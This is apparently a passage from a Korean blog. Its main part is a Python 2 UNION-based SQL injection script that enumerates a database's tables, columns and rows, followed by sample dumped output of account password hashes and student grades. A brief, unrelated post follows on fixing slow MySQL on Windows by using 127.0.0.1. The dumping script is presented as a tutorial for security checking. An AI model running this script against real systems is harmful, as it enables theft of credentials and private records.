    n = int(QueryResult('" UNION SELECT COUNT(column_name),table_name FROM information_schema.columns WHERE table_name="%s"#\n\n' % table))
    return [QueryResult('" UNION SELECT column_name,table_name FROM information_schema.columns WHERE table_name="%s" LIMIT %d,1#\n\n' % (table, i)) for i in xrange(n)]

def GetRows(table, columns):
    n = int(QueryResult('" UNION SELECT COUNT(*),"" FROM %s#\n\n' % table))
    return [[QueryResult('" UNION ALL SELECT %s,"" FROM %s LIMIT %d,1#\n\n' % (c, table, r)) for c in columns] for r in xrange(n)]

for table in GetTables():
    print '---------------[%s]---------------' % table
    for col in GetColumns(table):
        print "%s\t" % col,
    print ''
    for row in GetRows(table, GetColumns(table)):
        for col in row:
            print '%s' % col,
        print ''
    print '---------------------------------------'
---------------[Accounts]---------------
id	password	
admin 74913f5cd5f61ec0bcfdb775414c2fb3d161b620 
user1 ff0825382c957edd9a49ddef3830c38c094762d6 
user2 f8377c90fcfd699f0ddbdcb30c2c9183d2d933ea 
---------------------------------------
---------------[Grade]---------------
id	course	grade	
user1 Artificial Intelligence A+ 
user1 Design Patterns B+ 
user1 Introduction to Algorithm C+ 
user2 Introduction to Algorithm A- 
user2 Introduction to Database System B- 
user2 Computer Networking B+ 
---------------------------------------

자 여기까지 SQL Injection에 대해 간단하게 살펴봤다.
이제 SQL을 이용해서 프로그램을 작성하거나 보안을 점검할 때 활용해보자.

더 읽을거리

SQL Injection Filter 우회
Blind SQL Injection: 쿼리 결과가 직접 출력되지 않고, 0이나 1, 성공이나 실패처럼 두 가지 중 하나로만 출력될 때 사용한다.


이상하게 Windows에서 Apache(php)랑 MySQL을 사용하니까 컴퓨터 성능이 딸리는 것도 아닌데 MySQL 쿼리를 이용하는 페이지만 로딩이 1초씩 걸리는 현상을 보여서 인터넷을 좀 뒤졌더니 이게 Hostname Resolve때문이라더라.. 어떻게 localhost를 resolve하는데 시간이 1초나 걸리는지.. 나 참;

어쨌든 이제 문제의 원인을 알았으니 해결은 쉽다. php 코드상에서 mysql에 접속하는 부분의 hostname이 localhost인 것들을 모두 찾아서 127.0.0.1로 바꾸고, 해당 user 및 database의 접속 권한을 127.0.0.1에게도 주면 된다(대략 아래와 같은 명령어가 될 것이다).

#주의: 당연하지만 root로 접속해서 수행해야 합니다.
 UPDATE user SET host='127.0.0.1' WHERE user='DBUser';

 GRANT ALL PRIVILEGES ON MyDB.* TO 'DBUser'@'127.0.0.1' WITH GRANT OPTION;

(물론 cmd에서 안 하고 그냥 phpmyadmin에서 해도 된다..!)
+ 이래도 해결되지 않는다면 어댑터에서(혹은 MySQL에서) IPv6 사용을 아예 꺼버리자. 근데 아마 이거면 해결 될걸?